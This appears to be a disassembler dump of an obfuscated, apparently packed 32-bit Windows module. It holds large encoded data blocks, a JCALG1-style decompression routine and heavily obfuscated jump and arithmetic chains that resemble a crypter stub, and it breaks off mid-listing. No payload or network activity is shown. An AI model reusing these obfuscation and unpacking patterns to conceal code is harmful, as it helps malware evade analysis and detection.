0E5CF2CEAh dd 4B3AFA9Bh, 0CCF8B53h, 0B460E607h, 0A826FD6h, 56E4B5EAh dd 574474AAh, 0CEC0579Dh, 4D4AFF12h, 4B72AAA8h, 0AB7D7648h dd 0D8BFF3ABh, 80E99FC1h, 0B6811638h, 8D6EF3B4h, 99B3B6A3h dd 712E5C27h, 0F89132EAh, 0DEF6A331h, 8B14C5F5h, 1205F484h dd 6CA15015h, 0D5CA52FBh, 0E5AD16A7h, 0AF5B1F81h, 87E02DFFh dd 7415F279h, 30BE8FB5h, 3F18015h, 0CA55F5F7h, 4DE52D11h dd 0BA9053F2h, 0A7EA29A2h, 0BD1EA7EEh, 0B6A7096Bh, 9B57EA0Ah dd 0BD9960B0h, 0B80C324Fh, 0F6ED96C7h, 2E799F0Ch, 4EB54F9h dd 9A7A0A79h, 3B313F36h, 0FB991CFh, 81843BD3h, 0F4279A9Ch dd 5815F046h, 55F2BAE1h, 602A0AB6h, 326AD7F6h, 0C6492985h dd 5FC7FB0Bh, 0D49DAFEDh, 9736714Ah, 0C220FFE5h, 0B3798626h dd 15E0F722h, 3EB9DA8Bh, 47355F4Fh, 0F735B6F5h, 0FC6FA05Bh dd 0E88DB85Bh, 59BE48D8h, 0DF1AABE3h, 127BECB6h, 8B8EA6E7h dd 2A7C0F3Ah, 0DFC8F112h, 0FC8399DBh, 4AF83C0h, 761DB5DCh dd 555D4DB6h, 0A8BCC748h, 6A0495DDh, 16A5DF31h, 6B1DC150h dd 9EC7DB91h, 0BE92E7B2h, 93CDF346h, 0F5E8A57Dh, 915EE40Dh dd 44CEDA8Ch, 72F8A0E9h, 52F24A3Fh, 0A319E091h, 0E639CAB5h dd 0F56677C3h, 0DAA168F2h, 0F27F7D40h, 54E04FF7h, 7B79C0FCh dd 49149A21h, 0A0DBFADDh, 2BB0DA66h, 605D7BB4h, 3F106D51h dd 79BCBE6Eh, 0F0E2C04h, 3E7993E2h, 2676A156h, 8F546621h dd 0DF04DD65h, 792D9Fh dd 242D1BC5h, 7B9DB0D0h, 0D07DAE50h, 153B9317h, 539E14CAh dd 44F00AFDh, 0D3749CC4h, 0B6E7EEA4h, 783CF54Ah, 4BB6AECDh dd 49F4E75Ah, 2B7BCAEEh, 61DFB943h, 0C5353C1Ah, 0A7EB8D34h dd 0DD5196C3h, 0BCCB359Fh, 8DA45BAAh, 0A5C9EBD6h, 704D53CBh dd 0F0FA8A15h, 98AB4533h, 4A3065E2h, 0D8982FE1h, 555051B4h dd 5BE75ED2h, 6A7EAF9h, 0A575AB8Dh, 0E060B4A8h, 0D5BD9AA8h dd 309C5C72h, 0FE153367h, 1E073505h, 57C9E4DDh, 6595FCFFh dd 0AAF5F447h, 910C6621h, 1B5775E0h, 0FAE2A7F0h, 3A1B001Dh dd 0E3B207F9h, 0B1C021DEh, 0C09FE0A2h, 856DDC45h, 17DAFE5Dh dd 9AAE1DC5h, 57873CD6h, 7DE95859h, 0C308774Fh, 94D0A70Fh dd 688DA635h, 68FA4E26h, 0CEDF1794h, 0B607C374h, 0B498F6C8h dd 0D5A1EABEh, 0C546A3D1h, 0C1C94562h, 0DC08F291h, 0C597A356h dd 0FBAA2612h, 0F3DEFFh, 0ABAA2F25h, 5ED1A594h, 0E22F0D40h dd 9CC577E9h, 0DAE5C801h, 5BC4152Eh, 94E9AC0Eh, 6ED15702h dd 5E57F10Ah, 6AB9F0Eh, 6079DAFh, 2D41D04Ch, 0BBFB8103h dd 3FBBAE9h, 771705A4h, 0EECBBE45h, 99F70212h, 0EDB85021h dd 6755245Eh, 11DA8AB8h, 5D169AAFh, 61555BF4h, 0EF0E8138h dd 425649D2h, 0B7CB5E7Dh, 0EAF40A2Fh, 0A57E7A27h, 0B1E4B3h dd 0A1A7FF20h, 0BFCE9DCEh, 0DB8206F9h, 0D7059BD1h, 0A057E036h dd 51B13EBCh, 87578213h, 0AEACCA8Eh, 0AF0400ABh, 0D9FDDA0Ah dd 3FFC4097h, 48F3C595h, 8735C3B4h, 42E57D2Dh, 62FA4613h dd 8153FC0h, 84B6E37Eh, 0A1BAC9CDh, 0BCE6ACECh, 45F03E3Dh dd 675AF4EEh, 0C5062607h, 0D39BC3F1h, 168F4D30h, 9FE4A5E9h dd 5B76D017h, 46F13AA8h, 0A36CE058h, 0B8C2FE91h, 84E005A6h dd 92D157Bh, 21E6AE0Bh, 8D689E5h, 8070ECDAh, 8DDCEF45h dd 0AEC88A7h, 0CB361D75h, 0B575E34Bh, 46BA6E84h, 0AB010FFBh dd 0EC607BD7h, 5C8E4F16h, 4B9523F7h, 2BB2222Ah, 0DD572D77h dd 59A2CB60h, 7D1D7D96h, 6AE0A101h, 0E327205Dh, 0CFA4CED2h dd 722A49A6h, 9B28DDE8h, 0A599D8E2h, 6C654AE1h, 9846D533h dd 30864E6Fh, 0E15EF7B0h, 0F3FE0927h, 0FBD6F946h, 21F8EDEEh dd 6579C517h, 5ABB1DD9h, 9982F31Ah, 67D65B4Ch, 5F17C6B8h dd 6A70FAFh, 0D5F84DDBh, 907D6316h, 0BDE5D729h, 0A73512F2h dd 791BA11Ch, 88A47AEh, 3585D0Ch, 5B74EAC5h, 1166E44Ch dd 4BF67DBBh, 0A0B61998h, 0D8756D8Eh, 0E151B48Fh, 9C992CAEh dd 15B118A3h, 0B519D9B2h, 0FB392AAAh, 0C038B0B9h, 2EAF093Fh dd 5EE357C0h, 96EF4E35h, 0B0C156EFh, 9CFED52Bh, 7E454D3Bh dd 0E16275B5h, 86625D7h, 66B9C5A8h, 0EF2D008Eh, 0BCD380EBh dd 9BD3015Fh, 27CD2BEFh, 0C92D1F03h, 3C5A555h, 0AA514DFCh dd 0E7CDA8F1h, 0D05E4CFh, 82D58B22h, 0B44B6369h, 0AB4BDFAFh dd 0A86D6627h, 4EACE0C0h, 5A4A980Bh, 3BC24053h, 695D7232h dd 0C3664106h, 0F7A34B34h, 0B25D7AE5h, 3E892D6Fh, 2C3FF64h dd 6B5EDD53h, 0E7D345Ah, 0D58E0729h, 700AEBA3h, 49609467h dd 38D09C07h, 0F26B694h, 0AB365745h, 49EB66FCh, 0DB557B0Bh dd 0EF73A9A1h, 577BA0B4h, 47320F19h, 0B45783C7h, 84E07EE4h dd 76BB1CC2h, 0CBE59A2Ch, 63D49973h, 0EAC8FDF8h, 1E0F7730h dd 62A65CFCh, 6C3F2B9h, 8184E789h, 2A5DF88Dh, 0B3172AF2h dd 88E6B22Bh, 45E12AB9h, 0FA7C263Ch, 6981D5EFh, 3A8089F4h dd 0ED625758h, 0B117216Fh, 0DAE395F8h, 0B000AF04h, 1BB95825h dd 0F31A0CC8h, 7A9CC2BDh, 0D36A2726h, 0B0FACEB2h, 0FA55DFE2h dd 71DAC02Eh, 2F3CDF9Ah, 5E2F8F5Fh, 7F53C8F8h, 51F97D29h dd 0E0AAAF82h, 2DA89A43h, 0F1F47709h, 0CDFDDEE7h, 0C7EFA977h dd 1EF31F72h, 3A91FB60h, 0DB4079AEh, 54A66AEAh, 0C3965157h dd 0DA2117E6h, 545DF672h, 4F6DBD77h, 0C8ACD147h, 7C9F548h dd 75155FB7h, 0D3B57254h, 0DF2F1F38h, 0E7EDB210h, 0A54A0BCCh dd 0A9AABA39h, 0B7EE790Fh, 0C5775587h, 88DBA26Dh, 96B35664h dd 70DE4AA8h, 1116A7F4h, 0A0EB359Fh, 9A9D2E22h, 1F5CBD3Ah dd 0B6030D07h, 1338BAA5h, 0C697B754h, 0B537C481h, 0C4BFABDBh dd 85BACDCBh, 0FCAF1FDFh, 0CDB9DDB1h, 4DE6223Ch, 0BE44B66Eh dd 38B72DD9h, 0EF5A3A79h, 0FA07D9BFh, 2860FC76h, 2EF04833h dd 90F5AFEFh, 0C7D4EE6Fh, 0AB3B26CDh, 0F740EA1Fh, 8333EB5Fh dd 0D2EA56E6h, 0B39FC1B4h, 0F7BB8CEDh, 0C0AE1CC7h, 462AE05Fh dd 0A8F9A91Ch, 16AF4A7Ch, 822940E6h, 68F6E5FDh, 196A9F26h dd 0A2A1114h, 24128D19h, 0A6D1CCE6h, 8ABB68B8h, 7714F0CFh dd 73099DABh, 6E2FDF5Fh, 74AD4B47h, 674FEEA0h, 824E8B92h dd 0ED5EDD1Bh, 0DA35AB4Ah, 0AA055A9Eh, 3B179FCBh, 9AFE0731h dd 6D8A4AFAh, 3CE2AEA1h, 0BC0EBAECh, 0EADA7791h, 0D806B141h dd 80B8A781h, 0E19BE75Dh, 87E33797h, 3137EB77h, 267EE9DBh dd 0C715C720h, 0AF77258Ah, 710FC6F8h, 5F9A0E0Fh, 2A24B2D1h dd 43E8FA64h, 90CC2BE0h, 3A525662h, 0CCFD21E3h, 0A974415Eh dd 1BA5148Eh, 7EF2DF3Ah, 0B997F3DFh, 28D598F0h, 184F2CB4h dd 9917E3Eh, 0FFAD6F94h, 2F63501Eh, 14DB4AFEh, 6325FBA0h dd 0A11122C0h, 0BAA1233Ah, 81083F9h, 5557B319h, 74286D0Ch dd 5B025E9Bh, 0C7D86C73h, 0A039CFC7h, 0D26625FEh, 3FDBFD32h dd 0CAD187FBh, 0D0A059C9h, 985DD511h, 28474508h, 9F5D4B82h dd 198A966Fh, 0D5D6F0C5h, 284FC65Ch, 1B607CA7h, 57991818h dd 6D90DB46h, 8B3FE9E9h, 13AB7735h, 61B38BF1h, 0EE9FF345h dd 175CA8E5h, 0D399B077h, 3E1D7B03h, 0EE8C50EDh, 27CBFDBAh dd 76AE4C20h, 0BF3A792Dh, 0FD49383Ch, 6821A29Dh, 29A7C243h dd 37681B9h, 0D2C9DAADh, 0C559AAA7h, 0A04A0893h, 0CC35C522h dd 530F5D9Eh, 62EF8C6Dh, 866B548Dh, 80AD6DDFh, 83CE7799h dd 0DF6AE4B2h, 6F1576FAh, 0F01573EEh, 0C0B55FA0h, 0B1AD0FC0h dd 0EF57BDDBh, 7D543E73h, 0F782DD67h, 24A06395h, 3BC3104Ah dd 3F3818F9h, 0BEE0C6AAh, 0C19DDAF8h, 0C09BCDEAh, 0B77985D6h dd 0D1F71B1h, 81776351h, 76FCDD4h, 56B5D85h, 0F2898AFFh dd 9FF44E6Dh, 8BBAC355h, 0CCEBE854h, 0D96C98A4h, 7AEDC860h dd 7B7A398Ch, 0FA74BA88h, 856AD1E7h, 0FDE8360Ah, 0A0B9BCF1h dd 0C4238B46h, 8F0DDD53h, 3CE7C06Ah, 0EF9A9444h, 3CD31B34h dd 9BBB01C7h, 7B7C705Dh, 0E4636E78h, 0 dd 0AF77h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10026AF4 proc near ; DATA XREF: sub_100299B9+3Ao var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10026C73 SIZE 00000004 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cld push ebx push edi push esi mov [ebp+var_4], eax mov [ebp+var_8], edx mov esi, eax mov edi, edx cmp word ptr [esi], 434Ah jnz loc_10026C36 add esi, 0Ah mov [ebp+var_C], 8 xor ebx, ebx mov edx, 80000000h inc ebx loc_10026B25: ; CODE XREF: sub_10026AF4+46j ; sub_10026AF4+8Dj ... xor eax, eax call sub_10026C3D jnb short loc_10026B3C mov ecx, [ebp+var_10] call sub_10026C55 add al, [ebp+var_11] loc_10026B39: ; CODE XREF: sub_10026AF4+65j stosb jmp short loc_10026B25 ; --------------------------------------------------------------------------- loc_10026B3C: ; CODE XREF: sub_10026AF4+38j call sub_10026C3D jb loc_10026BDE call sub_10026C3D jnb short loc_10026BA9 mov ecx, 4 call sub_10026C55 dec eax jz short loc_10026B39 jns loc_10026C28 call sub_10026C3D jnb short loc_10026B83 push ebp loc_10026B69: ; CODE XREF: sub_10026AF4+8Aj mov ebp, 100h loc_10026B6E: ; CODE XREF: sub_10026AF4+83j call sub_10026C4A mov [edi], al inc edi dec ebp jnz short loc_10026B6E call sub_10026C3D jb short loc_10026B69 pop ebp jmp short loc_10026B25 ; --------------------------------------------------------------------------- loc_10026B83: ; CODE XREF: sub_10026AF4+72j mov ecx, 1 call sub_10026C55 add eax, 7 mov [ebp+var_10], eax mov [ebp+var_11], 0 cmp eax, 8 jz short loc_10026B25 call sub_10026C4A mov [ebp+var_11], al jmp loc_10026B25 ; --------------------------------------------------------------------------- loc_10026BA9: ; CODE XREF: sub_10026AF4+58j mov ecx, 7 call sub_10026C55 push eax mov ecx, 2 call sub_10026C55 mov ecx, eax inc ecx inc ecx pop eax or eax, eax jz short loc_10026BCB mov ebx, eax jmp short loc_10026C29 ; --------------------------------------------------------------------------- loc_10026BCB: ; CODE XREF: sub_10026AF4+D1j cmp ecx, 2 jz short loc_10026C36 inc ecx call sub_10026C55 mov [ebp+var_C], eax jmp loc_10026B25 ; --------------------------------------------------------------------------- loc_10026BDE: ; CODE XREF: sub_10026AF4+4Dj call sub_10026C61 dec ecx loop loc_10026BEF mov eax, ebx call sub_10026C61 jmp short loc_10026C29 ; --------------------------------------------------------------------------- loc_10026BEF: ; CODE XREF: sub_10026AF4+F0j dec ecx mov eax, ecx push ebp mov ecx, [ebp+var_C] mov ebp, eax xor eax, eax shl ebp, cl call sub_10026C55 or eax, ebp pop ebp mov ebx, eax call sub_10026C61 cmp eax, 10000h jnb short loc_10026C26 cmp eax, 37FFh jnb short loc_10026C27 cmp eax, 27Fh jnb short loc_10026C28 cmp eax, 7Fh ja short loc_10026C29 inc ecx loc_10026C26: ; CODE XREF: sub_10026AF4+11Cj inc ecx loc_10026C27: ; CODE XREF: sub_10026AF4+123j inc ecx loc_10026C28: ; CODE XREF: sub_10026AF4+67j ; sub_10026AF4+12Aj inc ecx loc_10026C29: ; CODE XREF: sub_10026AF4+D5j ; sub_10026AF4+F9j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_10026B25 ; --------------------------------------------------------------------------- loc_10026C36: ; CODE XREF: sub_10026AF4+19j ; sub_10026AF4+DAj mov eax, esi pop esi pop edi pop ebx jmp short loc_10026C73 sub_10026AF4 endp ; =============== S U B R O U T I N E ======================================= sub_10026C3D proc near ; CODE XREF: sub_10026AF4+33p ; sub_10026AF4:loc_10026B3Cp ... add edx, edx jnz short locret_10026C49 mov edx, [esi] add esi, 4 stc adc edx, edx locret_10026C49: ; CODE XREF: sub_10026C3D+2j retn sub_10026C3D endp ; =============== S U B R O U T I N E ======================================= sub_10026C4A proc near ; CODE XREF: sub_10026AF4:loc_10026B6Ep ; sub_10026AF4+A8p mov ecx, 8 call sub_10026C55 retn sub_10026C4A endp ; =============== S U B R O U T I N E ======================================= sub_10026C55 proc near ; CODE XREF: sub_10026AF4+3Dp ; sub_10026AF4+5Fp ... xor eax, eax loc_10026C57: ; CODE XREF: sub_10026C55+9j call sub_10026C3D adc eax, eax loop loc_10026C57 retn sub_10026C55 endp ; =============== S U B R O U T I N E ======================================= sub_10026C61 proc near ; CODE XREF: sub_10026AF4:loc_10026BDEp ; sub_10026AF4+F4p ... xor ecx, ecx inc ecx loc_10026C64: ; CODE XREF: sub_10026C61+Fj call sub_10026C3D adc ecx, ecx call sub_10026C3D jb short loc_10026C64 retn sub_10026C61 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10026AF4 loc_10026C73: ; CODE XREF: sub_10026AF4+147j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10026AF4 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10026C78 proc near ; DATA XREF: sub_100299B3o ; sub_100299B9+29o mov byte ptr [ecx], 49h pop ecx push offset loc_100277B2 jmp nullsub_242 sub_10026C78 endp ; --------------------------------------------------------------------------- dw 8100h ; CODE XREF: _3a14gzkz:loc_100277BEj ; --------------------------------------------------------------------------- test byte ptr [ebp+34E16ACh], 0F5h push ebx push 7C647D8Fh jmp loc_100286D7 ; --------------------------------------------------------------------------- dw 0F00h dd 1A3D89h, 2A5FE800h, 0B8E90000h ; CODE XREF: sub_100279AD+1D12j db 12h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10026CAB: ; CODE XREF: sub_10028DD4:loc_1002932Fj jz loc_10028082 push edi push offset sub_10029160 jmp nullsub_189 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- dd 7C60000h, 68535F87h, 61C1C659h, 19E3815Bh, 68746B81h dd 1002821Ah, 2333E9h, 840F0000h, 105Fh, 2904E852h, 0 ; --------------------------------------------------------------------------- jmp loc_10028D24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10026CED: ; CODE XREF: sub_1002707B:loc_10026DE1j call sub_10029789 loc_10026CF2: ; CODE XREF: sub_10028143+8j jmp loc_1002719E ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 4 dd 5300C300h, 10EBE9h, 33FA8B00h, 940E9F5h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- jmp loc_100276A1 ; --------------------------------------------------------------------------- loc_10026D12: ; CODE XREF: _3a14gzkz:10027FBBj jmp loc_10028063 ; --------------------------------------------------------------------------- align 4 dd 95840F00h, 87000001h, 15B241Ch, 0F28B56C2h, 0E9243487h dd 1517h, 0C6810000h, 2A042802h, 2434879Dh, 27BF068h, 0FFB3E910h dd 0C300FFFFh, 26AE9h, 87028700h, 515B241Ch, 0C87CA8Bh dd 0E95A5624h, 0E12h, 618CC6F7h, 4AE9CD7Ch, 1Bh, 1FA26800h dd 4875C9Ah, 58F88B24h, 0A767EF81h, 3FE96519h, 22h, 0F18B5600h dd 0E8243487h, 126Ah ; --------------------------------------------------------------------------- loc_10026D90: ; DATA XREF: sub_10028A75+2o push esi mov esi, ecx push offset loc_10026E89 jmp locret_10026E88 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; --------------------------------------------------------------------------- add ecx, 4E977A48h mov ecx, [ecx] pushf jmp loc_100285CA ; --------------------------------------------------------------------------- align 10h add esi, ebx xchg edi, [esp] xchg esi, [esp] mov edi, esi pop esi jmp loc_1002835B ; --------------------------------------------------------------------------- locret_10026DC0: ; CODE XREF: _3a14gzkz:loc_10026DE8j retn ; --------------------------------------------------------------------------- loc_10026DC1: ; CODE XREF: _3a14gzkz:loc_100275FBj ; DATA XREF: _3a14gzkz:loc_100275F1o jmp loc_100292C0 ; --------------------------------------------------------------------------- align 4 dd 1126E859h, 87000000h, 4872434h, 58F08B24h, 0FFFE9BE9h ; CODE XREF: _3a14gzkz:10028411j db 0FFh, 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10026DE1: ; CODE XREF: sub_1002707B+1AB8j jmp loc_10026CED ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 4 loc_10026DE8: ; CODE XREF: _3a14gzkz:100275F6j jmp locret_10026DC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10026DED: ; CODE XREF: sub_1002707B:loc_100297ACj pop ebx xor ebx, 0C2256766h and ebx, 0A2C1F34Fh push offset dword_10029118 jmp loc_10027076 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD "+" TO EXPAND] align 4 jmp loc_1002974A ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0F43h, 9B56BF00h, 0C87A549h, 0D5035924h, 27AEA68h, 126EE910h dd 2AF60000h, 850FA43Ch, 10FAh, 0E4CE9h, 0E9000000h, 10EEh dd 0E90CC3C1h, 583h, 53580000h, 0EC0A2404h, 87F18B56h dd 0C1E92434h, 8B000016h, 4EB95100h, 0E910027Dh, 182Dh dd 0C28C0F00h, 0C1000010h, 9BE911CBh db 26h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10026E77: ; CODE XREF: sub_1002781D:loc_10028B99j mov edi, ebx xchg edi, [esp+0] mov ebx, offset word_10027BF6 jmp loc_100286D2 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- align 4 locret_10026E88: ; CODE XREF: _3a14gzkz:10026D98j retn ; --------------------------------------------------------------------------- loc_10026E89: ; DATA XREF: _3a14gzkz:10026D93o xchg esi, [esp] push offset loc_10027206 jmp locret_1002778E ; --------------------------------------------------------------------------- align 4 loc_10026E98: ; CODE XREF: _3a14gzkz:100288F2j mov byte ptr [edi], 0C3h xchg eax, [esp] mov edi, eax pop eax push offset byte_10026F21 jmp loc_10028C61 ; --------------------------------------------------------------------------- align 4 dword_10026EAC dd 85B8F081h, 0C5038613h, 0DD0AC081h, 0BBD79Eh, 0E9240487h ; DATA XREF: _3a14gzkz:10027894o dd 0FFFFFE84h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10026EC4: ; CODE XREF: sub_10028ED3-D3Ej mov ebx, edx pop edx rol ebx, 1Ah xor ebx, 17E37C67h jmp loc_10028D42 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD "+" TO EXPAND] align 4 loc_10026ED8: ; CODE XREF: _3a14gzkz:10028CF0j jmp loc_10027884 ; --------------------------------------------------------------------------- not ebp jmp sub_10027949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10026EE4: ; CODE XREF: sub_1002781D:loc_10027B6Cj add edx, 0B8CAA5B9h xor edx, 0AD3C42D8h add edx, 80C406D1h xchg edx, [esp+0] jmp loc_100270C8 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- dw 8100h dd 9F924AF7h db 3Fh db 3, 0FDh, 0E8h ; DATA XREF: sub_10028BD0+5o dd 2089h, 1F1EE9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_10026F12: ; DATA XREF: sub_10027C41-2C5o push edx mov edx, ecx push offset dword_10029504 jmp locret_10027F7C ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD "+" TO EXPAND] byte_10026F21 db 81h, 0C0h, 5Ah ; DATA XREF: _3a14gzkz:10026EA1o dd 5099BC32h, 146CE857h, 0E9000000h, 1018h, 1C60000h, 24048787h ; CODE XREF: _3a14gzkz:10028A54j dd 8158C88Bh, 785129C2h, 767E947h, 0 ; --------------------------------------------------------------------------- loc_10026F4C: ; CODE XREF: _3a14gzkz:10028658j ror eax, 5 pushf ; START OF FUNCTION CHUNK FOR sub_100295A6 loc_10026F50: ; CODE XREF: sub_100295A6+19j or eax, 80FA18D7h add eax, 0FFB1D71Bh add eax, ebp add eax, 0B526A0Ah jmp loc_100278F8 ; END OF FUNCTION CHUNK FOR sub_100295A6 ; =============== S U B R O U T I N E ======================================= sub_10026F69 proc near ; CODE XREF: _3a14gzkz:100278CEp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100273E6 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] jmp loc_100273E6 sub_10026F69 endp ; sp-analysis failed ; --------------------------------------------------------------------------- call sub_10028EB5 jb loc_1002840B jg loc_1002844A jmp sub_10028A10 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10026F8C: ; CODE XREF: sub_1002781D:loc_100286D2j call sub_10027AC8 loc_10026F91: ; DATA XREF: _3a14gzkz:100291F4o push edx push 8C66F083h pop edx rol edx, 0Ch sub edx, 5D0A995h jmp loc_10027B6C ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- align 4 loc_10026FA8: ; CODE XREF: _3a14gzkz:10029036j ; DATA XREF: sub_1002735F:loc_1002902Co mov byte ptr [edx], 8Bh pop edx popf xchg eax, [esp] call near ptr dword_10027D5C+1Ch ; --------------------------------------------------------------------------- db 0 db 0 db 51h ; Q db 68h ; h db 0C3h ; Ã db 74h ; t db 2 db 10h db 0E9h ; é db 0DDh ; Ý db 15h db 0 db 0 db 0 db 0F6h ; ö db 2Ah ; * db 0E8h ; è db 5Ah ; Z db 7 db 0 db 0 db 0 db 0E9h ; é db 0B5h ; µ db 1 db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10026FD0: ; CODE XREF: sub_10028AC5-A3Bj jmp loc_10029717 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; CODE XREF: sub_10027795:loc_10029403j ; --------------------------------------------------------------------------- retf 79B1h ; --------------------------------------------------------------------------- mov bh, 0EFh test edx, 10000000h jmp loc_10028298 ; --------------------------------------------------------------------------- dd 14870000h, 53FE924h, 58D0000h, 10027127h, 51C300C6h dd 0C87CB8Bh, 0FE416824h, 9CE9B8F2h, 0Dh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_1002700D: ; CODE XREF: sub_100279AD+12D3j sbb edx, ebx jmp loc_1002969E ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- dd 0C300C600h, 7E616856h, 37E91002h, 0Eh, 2BF72B00h, 0E08199C7h ; CODE XREF: _3a14gzkz:loc_100289ECj dd 0A5835A2h, 61AF6850h, 0E958C5E0h, 0E0Bh, 8EC6F700h dd 0E91C3042h, 2480h, 5B241C87h, 1237E850h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100289FE loc_10027054: ; CODE XREF: _3a14gzkz:loc_10028509j ; sub_100289FE:loc_10028D31j xchg ecx, es:[esp] push dword ptr [ebp+8] call sub_10027DF2 ; END OF FUNCTION CHUNK FOR sub_100289FE ; --------------------------------------------------------------------------- dd 0F2810000h, 0EB560B1Fh, 0B5E8D503h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029789 loc_1002706F: ; CODE XREF: sub_10029789+8j jmp loc_10028B82 ; END OF FUNCTION CHUNK FOR sub_10029789 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027076: ; CODE XREF: sub_1002707B-27Cj jmp locret_10028C0C ; END OF FUNCTION CHUNK FOR sub_1002707B ; =============== S U B R O U T I N E ======================================= sub_1002707B proc far ; CODE XREF: _3a14gzkz:10027C58j ; sub_100274A4:loc_10027CE3p var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 10026CED SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10026DE1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10026DED SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10027076 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027372 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1002752A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002767C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1002775E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1002776F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100277C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100277E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027962 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027B00 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10027C39 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027C6D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10027DCD SIZE 0000001E BYTES ; FUNCTION CHUNK AT 10027DF8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10027F8A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1002804B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100282F8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10028334 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100284FF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10028576 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100285AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002860D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002861D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028723 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100288A6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10028975 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100289BB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10028AEB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10028B16 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 10028B59 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028C07 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10028C47 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028D2B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028E8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100290EF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1002915A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002920F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002937D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100293D6 